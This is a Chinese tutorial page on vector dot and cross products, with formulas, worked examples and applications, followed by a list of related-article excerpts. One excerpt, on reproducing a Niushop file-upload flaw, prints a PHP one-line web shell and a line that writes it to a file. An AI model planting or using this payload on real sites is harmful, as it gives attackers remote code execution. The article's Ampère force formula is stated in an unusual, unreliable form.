dot product cross product

  1. 定义和运算规则

    • 点积(数量积、内积)
      • 定义:对于两个向量 a ⃗ = ( a 1 , a 2 , a 3 ) \vec{a}=(a_1,a_2,a_3) a =(a1,a2,a3) b ⃗ = ( b 1 , b 2 , b 3 ) \vec{b}=(b_1,b_2,b_3) b =(b1,b2,b3),它们的点积定义为 a ⃗ ⋅ b ⃗ = a 1 b 1 + a 2 b 2 + a 3 b 3 \vec{a}\cdot\vec{b}=a_1b_1 + a_2b_2+a_3b_3 a b =a1b1+a2b2+a3b3。例如,若 a ⃗ = ( 1 , 2 , 3 ) \vec{a}=(1,2,3) a =(1,2,3) b ⃗ = ( 4 , 5 , 6 ) \vec{b}=(4,5,6) b =(4,5,6),则 a ⃗ ⋅ b ⃗ = 1 × 4 + 2 × 5 + 3 × 6 = 4 + 10 + 18 = 32 \vec{a}\cdot\vec{b}=1\times4 + 2\times5+3\times6 = 4 + 10 + 18=32 a b =1×4+2×5+3×6=4+10+18=32
      • 运算结果:点积的结果是一个标量(数量)。这个标量的值与两个向量的长度以及它们之间夹角的余弦值有关,具体公式为 a ⃗ ⋅ b ⃗ = ∣ a ⃗ ∣ ∣ b ⃗ ∣ cos ⁡ θ \vec{a}\cdot\vec{b}=\vert\vec{a}\vert\vert\vec{b}\vert\cos\theta a b =a ∣∣b cosθ,其中 θ \theta θ a ⃗ \vec{a} a b ⃗ \vec{b} b 之间的夹角。例如,当两个向量同向时, cos ⁡ θ = 1 \cos\theta = 1 cosθ=1,点积等于两个向量模长的乘积;当两个向量垂直时, cos ⁡ θ = 0 \cos\theta=0 cosθ=0,点积为0。
    • 叉积(向量积、外积)
      • 定义:对于两个三维向量 a ⃗ = ( a 1 , a 2 , a 3 ) \vec{a}=(a_1,a_2,a_3) a =(a1,a2,a3) b ⃗ = ( b 1 , b 2 , b 3 ) \vec{b}=(b_1,b_2,b_3) b =(b1,b2,b3),它们的叉积是一个新的向量 c ⃗ = a ⃗ × b ⃗ = ( a 2 b 3 − a 3 b 2 , a 3 b 1 − a 1 b 3 , a 1 b 2 − a 2 b 1 ) \vec{c}=\vec{a}\times\vec{b}=(a_2b_3 - a_3b_2,a_3b_1 - a_1b_3,a_1b_2 - a_2b_1) c =a ×b =(a2b3a3b2,a3b1a1b3,a1b2a2b1)。例如,若 a ⃗ = ( 1 , 2 , 3 ) \vec{a}=(1,2,3) a =(1,2,3) b ⃗ = ( 4 , 5 , 6 ) \vec{b}=(4,5,6) b =(4,5,6),则 a ⃗ × b ⃗ = ( 2 × 6 − 3 × 5 , 3 × 4 − 1 × 6 , 1 × 5 − 2 × 4 ) = ( − 3 , 6 , − 3 ) \vec{a}\times\vec{b}=(2\times6 - 3\times5,3\times4 - 1\times6,1\times5 - 2\times4)=( - 3,6, - 3) a ×b =(2×63×5,3×41×6,1×52×4)=(3,6,3)
      • 运算结果:叉积的结果是一个向量。这个向量的方向垂直于原来的两个向量 a ⃗ \vec{a} a b ⃗ \vec{b} b ,其方向遵循右手定则。右手定则是指:将右手的食指指向 a ⃗ \vec{a} a 的方向,中指指向 b ⃗ \vec{b} b 的方向,那么大拇指所指的方向就是 a ⃗ × b ⃗ \vec{a}\times\vec{b} a ×b 的方向。它的模长为 ∣ c ⃗ ∣ = ∣ a ⃗ ∣ ∣ b ⃗ ∣ sin ⁡ θ \vert\vec{c}\vert=\vert\vec{a}\vert\vert\vec{b}\vert\sin\theta c =a ∣∣b sinθ,其中 θ \theta θ a ⃗ \vec{a} a b ⃗ \vec{b} b 之间的夹角。
  2. 几何意义

    • 点积
      • 可以用来计算一个向量在另一个向量方向上的投影长度与另一个向量长度的乘积。例如,力 F ⃗ \vec{F} F 作用在位移 d ⃗ \vec{d} d 方向上做的功 W W W,可以用点积来表示,即 W = F ⃗ ⋅ d ⃗ W = \vec{F}\cdot\vec{d} W=F d 。如果力的方向与位移方向一致,那么做的功就等于力的大小与位移大小的乘积;如果力与位移方向有夹角,那么做的功就是力在位移方向上的投影( ∣ F ⃗ ∣ cos ⁡ θ \vert\vec{F}\vert\cos\theta F cosθ)与位移大小的乘积。
    • 叉积
      • 几何意义主要体现在它的模长和方向上。其模长等于以这两个向量为邻边的平行四边形的面积,即 S = ∣ a ⃗ × b ⃗ ∣ = ∣ a ⃗ ∣ ∣ b ⃗ ∣ sin ⁡ θ S = \vert\vec{a}\times\vec{b}\vert=\vert\vec{a}\vert\vert\vec{b}\vert\sin\theta S=a ×b =a ∣∣b sinθ。例如,在求由两个向量所确定的平面的法向量时,就可以通过叉积来得到。同时,它的方向可以确定平面的“旋转方向”或者空间中的“方向关系”。
  3. 应用场景

    • 点积
      • 在物理学中,计算功、电场强度与电势差的关系等都会用到点积。例如,在静电场中,电场强度 E ⃗ \vec{E} E 与两点之间的电势差 U U U的关系可以通过点积来表示(在匀强电场中): U = E ⃗ ⋅ d ⃗ U=\vec{E}\cdot\vec{d} U=E d ,其中 d ⃗ \vec{d} d 是两点之间的位移向量。
      • 在计算机图形学中,用于计算光照效果。比如,计算光线方向向量与物体表面法线向量的点积,来确定光照强度在物体表面的分布情况。如果点积为正,说明光线方向与表面法线方向夹角小于90度,表面被照亮;如果点积为负,则表面处于阴影中。
    • 叉积
      • 在物理学的电磁学领域,安培力的计算就涉及叉积。安培力 F ⃗ = B I ⃗ × L ⃗ \vec{F}=B\vec{I}\times\vec{L} F =BI ×L ,其中 B B B是磁感应强度, I ⃗ \vec{I} I 是电流方向向量, L ⃗ \vec{L} L 是导线长度向量。叉积在这里用于确定安培力的方向,其方向垂直于电流方向和磁场方向。
      • 在计算机图形学和计算机视觉中,用于计算平面的法向量、判断三维空间中物体的前后关系等。例如,在三维建模中,通过两个边向量的叉积来计算多边形的法向量,这个法向量对于光照计算、碰撞检测等操作都非常重要。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/941812.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CV-OCR经典论文解读|An Empirical Study of Scaling Law for OCR/OCR 缩放定律的实证研究

论文标题 An Empirical Study of Scaling Law for OCR OCR 缩放定律的实证研究 论文链接: An Empirical Study of Scaling Law for OCR论文下载 论文作者 Miao Rang, Zhenni Bi, Chuanjian Liu, Yunhe Wang, Kai Han 内容简介 本论文在光学字符识别&#xf…

PTA数据结构题目:链表操作集合

寻找结点 插入结点 错误分析 while (prev ! NULL && prev->Next ! P) 为什么我写成 while (prev->Next ! P && prev ! NULL) 的时候会发生段错误,这两种写法逻辑上不是一样的吗? 野指针 逻辑顺序导致的潜在风险 在 C 语言中&am…

路由器做WPAD、VPN、透明代理中之间一个

本文章将采用家中TP-Link路由器 路由器进行配置DNS DNS理解知识本文DNS描述参考:网络安全基础知识&中间件简单介绍_计算机网络中间件-CSDN博客 TP LINK未知的错误,错误编号:-22025 TP-LINK 认证界面地址:https://realnam…

Java 小白入门必备知识点

11.我们发现现在有两个x,一个是成员变量,一个是局部变量,在sum方法中为了区分两个s,我们给成员变量前加上this以此来区分成员变量和局部变量 12.成员方法:在java中,必须通过方法才能完成对类和对象的属性操作&#xf…

gitlab代码推送

点击这个√ 修改的文件全部选上 填好提交的名称 点击commit 选取提交的 gitlab 库 点击Push

vscode添加全局宏定义

利用vscode编辑代码时,设置了禁用非活动区域着色后,在一些编译脚本中配置的宏又识别不了 遇到#ifdef包住的代码就会变暗色,想查看代码不是很方便。如下图: 一 解决: 在vscode中添加全局宏定义。 二 步骤&#xff1a…

【电路设计】LDO旁路电容的选择

本文章是笔者整理的备忘笔记。希望在帮助自己温习避免遗忘的同时,也能帮助其他需要参考的朋友。如有谬误,欢迎大家进行指正。 一、引言 虽然人们普遍认为电容是解决噪声相关问题的灵丹妙药,但是电容的价值并不仅限于此。设计人员常常只想到…

生产看板管理系统涵盖哪些方面

嘿,各位搞生产管理的朋友,肯定都碰到过些麻烦事儿吧。我就寻思着,能不能弄出个 “明明白白” 的工作场地呢?让员工和管理人员都能随时查查生产进度,一发现生产里有啥问题就能立马知道。 生产进度不好追踪生产过程不清…

Python|Pyppeteer实现全自动化触发reCaptcha验证码(28)

前言 本文是该专栏的第28篇,结合优质项目案例持续分享Pyppeteer的干货知识,记得关注。 针对近期多位同学,询问如何自动化触发“reCaptcha验证码”的问题。笔者在本文,将结合实战项目完整代码进行详细说明。 对“reCaptcha验证码”感兴趣的同学,千万别错过。 废话不多说,…

SpringBoot介绍以及基本注解和应用

一.Spring Boot 简介(脚手架) 1.简介 简化Spring应用开发的一个框架; 整个Spring技术栈的一个大整合; J2EE开发的一站式解决方案; 优点:快速创建独立运行的spring项目以及与主流框架集成 使用嵌入式的S…

Niushop开源商城(漏洞复现)

文件上传漏洞 注册一个账号后登录 在个人中心修改个人头像 选择我们的图片马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?&…

容器技术所涉及Linux内核关键技术

容器技术所涉及Linux内核关键技术 一、容器技术前世今生 1.1 1979年 — chroot 容器技术的概念可以追溯到1979年的UNIX chroot。它是一套“UNIX操作系统”系统&#xff0c;旨在将其root目录及其它子目录变更至文件系统内的新位置&#xff0c;且只接受特定进程的访问。这项功…

攻防世界 web view_source

开启场景 右键用不了就 F12 试试&#xff0c;然后看见了 flag cyberpeace{62caa734bc21cc4f9dc97ece9a882cd3}

如何保护你的 iOS 应用免受逆向工程攻击

逆向工程是分析和解构软件以理解其工作原理的过程。针对 iOS 应用&#xff0c;逆向工程通常涉及分析已编译的二进制文件&#xff08;机器可读的代码&#xff09;&#xff0c;并将其转化为更容易被人类理解的形式。这使得攻击者能够检查应用的逻辑、理解数据处理的方式&#xff…

C++进阶(二)--面向对象--继承

目录 一、继承的概念及定义 1.继承的概念 2.继承的定义 定义格式 继承方式和访问限定符 继承基类成员访问⽅式的变化 3.继承类模板 二、基类和派生类对象赋值转换 三、继承中的作用域 四、派⽣类的默认成员函数 五、继承与友元 六、继承与静态成员 七、多继承及其…

STM32串口第一次接收数据时第一个字节丢失的问题

解决方法&#xff1a;开启中断之前&#xff0c;先清除标志位【1】。 串口清除标志位&#xff1a; __HAL_UART_CLEAR_PEFLAG(&huart1); HAL_UART_Receive_IT(&huart1,&RxUart, 1); 定时器清除标志位&#xff1a; __HAL_TIM_CLEAR_FLAG(&htim3,TIM_FLAG_UPDATE);…

为什么要用云电脑玩游戏?5大好处揭秘,ToDesk云机性能强又易用

电脑在人们日常的工作与生活中无疑是颇为重要的。无论是学生撰写论文报告、企业白领处理数据图形等事项&#xff0c;还是游戏迷、影视迷们畅玩游戏或观看视频都难免要经常用到。拥有一台性能配置优质并且内置软件全面的电脑&#xff0c;对各类群体来说都大有益处&#xff0c;尤…

深入理解批量归一化(BN):原理、缺陷与跨小批量归一化(CBN)

在训练深度神经网络时&#xff0c;批量归一化&#xff08;Batch Normalization&#xff0c;简称BN&#xff09;是一种常用且有效的技术&#xff0c;它帮助解决了深度学习中训练过程中的梯度消失、梯度爆炸和训练不稳定等。然而&#xff0c;BN也有一些局限性&#xff0c;特别是在…

iptables交叉编译(Hisiav300平台)

参考文章&#xff1a;https://blog.csdn.net/Bgm_Nilbb/article/details/135714738 https://bbs.archlinux.org/viewtopic.php?pid1701065 1、libmnl 交叉编译 tar xvf libmnl-1.0.5.tar.bz2 sudo chmod 777 -R libmnl-1.0.5 cd libmnl-1.0.5 mkdir _install //host和CC需要修…

redis数据类型:list

数据结构 源码版本&#xff1a;7.2.2路径&#xff1a;src/adlist.h 关于list的 头文件中涉及到的这三个结构体如下 /* Node, List, and Iterator are the only data structures used currently. */ # 节点 typedef struct listNode {struct listNode *prev; # 前元素的指针s…